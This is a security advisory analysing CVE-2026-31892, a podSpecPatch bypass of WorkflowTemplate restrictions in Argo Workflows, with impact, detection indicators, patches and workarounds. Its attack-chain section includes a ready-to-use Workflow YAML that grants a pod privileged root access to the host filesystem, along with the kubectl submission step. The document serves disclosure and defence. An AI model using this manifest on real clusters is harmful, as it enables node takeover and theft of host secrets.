CVE-2026-31892: 
Wolfi vulnerability analysis and mitigation

CVE-2026-31892 is a WorkflowTemplate security bypass vulnerability in Argo Workflows that allows authenticated users with Workflow submission privileges to completely circumvent all security settings defined in a WorkflowTemplate by injecting a podSpecPatch field in their Workflow submission. It affects Argo Workflows versions 2.9.0 through 3.7.10 and 4.0.0 through 4.0.1, and was disclosed on March 11, 2026. The vulnerability carries a CVSS v3.1 base score of 8.1 (High) and a CVSS v4.0 base score of 8.9 (High) (Github Advisory, Red Hat Bugzilla).

The vulnerability is classified as CWE-863 (Incorrect Authorization) and CWE-807 (Reliance on Untrusted Inputs in a Security Decision). Three design flaws combine to create the issue: (1) JoinWorkflowSpec merges specs with priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec, so a user-supplied podSpecPatch string field overwrites the template's value; (2) ApplyPodSpecPatch() only validates syntactic JSON conformance to the Kubernetes PodSpec schema — no checks are performed for dangerous settings such as privileged: true; and (3) templateReferencing: Strict mode only verifies that WorkflowTemplateRef is set, not that other fields like podSpecPatch are absent, so the bypass works even in the mode explicitly documented as a security restriction (Github Advisory). A detailed PoC using kubectl commands and YAML manifests is publicly available in the security advisory (Github Advisory).

Successful exploitation allows an authenticated attacker to override all admin-configured security constraints in a WorkflowTemplate, enabling containers to run as root (runAsUser: 0), enable privileged mode, mount the host filesystem via hostPath volumes, share host PID/network/IPC namespaces, and add all Linux capabilities. This effectively grants the attacker full root access to the underlying Kubernetes node, enabling arbitrary code execution within pods, privilege escalation across the cluster, access to sensitive host data (e.g., /etc/shadow), and potential compromise of the entire Kubernetes environment (Github Advisory, Red Hat Bugzilla).

A public proof-of-concept is available in the official GitHub security advisory, providing step-by-step kubectl commands and YAML manifests to reproduce the bypass (Github Advisory). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.027% (0.038% per Feedly), placing it in the 8th percentile for exploitation probability. Exploitation requires low privileges (Workflow submission capability) and no user interaction, making it straightforward for any authenticated Argo Workflows user to abuse (Github Advisory).

1. Reconnaissance: Identify an Argo Workflows deployment running a vulnerable version (2.9.0–3.7.10 or 4.0.0–4.0.1) with templateReferencing: Strict or Secure mode enabled, and obtain credentials with Workflow submission privileges.
2. Identify a target WorkflowTemplate: Enumerate available admin-approved WorkflowTemplates (e.g., secure-template) that the attacker is authorized to reference but not modify.
3. Craft the malicious Workflow: Construct a Workflow YAML that references the legitimate WorkflowTemplate via workflowTemplateRef but includes a podSpecPatch field overriding security settings:

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-security-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
  podSpecPatch: |
    hostPID: true
    hostNetwork: true
    containers:
    - name: main
      securityContext:
        privileged: true
        runAsUser: 0
        runAsNonRoot: false
        allowPrivilegeEscalation: true
        capabilities:
          add:
          - ALL
          drop: []
      volumeMounts:
      - name: host-root
        mountPath: /host
    volumes:
    - name: host-root
      hostPath:
        path: /
        type: Directory

4. Submit the Workflow: Use kubectl create -n argo -f bypass.yaml or the Argo Workflows API to submit the crafted Workflow. The controller accepts it because workflowTemplateRef is set, satisfying Strict mode validation.
5. Achieve privileged execution: The pod is created with the attacker-supplied podSpecPatch applied directly to the pod spec, running as root with full host access. The attacker can read /etc/shadow, access the host filesystem at /host, and execute arbitrary commands with full node privileges (Github Advisory).

• Kubernetes API / Audit Logs: Workflow submissions containing a podSpecPatch field alongside a workflowTemplateRef, especially with settings such as privileged: true, runAsUser: 0, hostPID: true, hostNetwork: true, or hostPath volumes.
• Argo Workflows Logs: Pods created by Argo Workflows with security contexts that differ significantly from the referenced WorkflowTemplate's defined security settings.
• Pod Spec Anomalies: Running pods in the Argo namespace with privileged: true, hostPID: true, hostNetwork: true, or hostPath volume mounts to / or sensitive host directories.
• Process Behavior: Unexpected processes running as UID 0 within Argo workflow pods; child processes accessing /etc/shadow, /etc/passwd, or other sensitive host files via /host mount points.
• Network: Unusual outbound connections from Argo workflow pods to external IPs, particularly from pods running with hostNetwork: true that share the node's network namespace (Github Advisory).

Upgrade Argo Workflows to version 4.0.2 or later (for the 4.x branch) or 3.7.11 or later (for the 3.7.x branch); these releases add security validation that rejects podSpecPatch fields in Workflows using workflowTemplateRef under Strict/Secure mode (Github Advisory). As an interim workaround prior to patching, deploy an admission controller such as OPA/Gatekeeper or Kyverno with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows. Additionally, restrict Workflow submission permissions to only highly trusted users and service accounts, audit all Workflows submitted since version 2.9.0 for suspicious podSpecPatch usage, and consider webhook validation rules to restrict podSpecPatch modifications (Github Advisory, Red Hat Bugzilla).

The vulnerability was reported by researcher thevilledev and published by the Argo Workflows maintainers on March 11, 2026 (Github Advisory). Red Hat tracked the issue via Bugzilla with high severity and assigned it to their Product Security DevOps Team (Red Hat Bugzilla). The CVE was noted on social media via CVEnew shortly after disclosure. A follow-up CVE (CVE-2026-42296) was subsequently identified as an incomplete fix for this vulnerability, specifically addressing remaining hostNetwork and securityContext bypass vectors, indicating ongoing community scrutiny of the patch.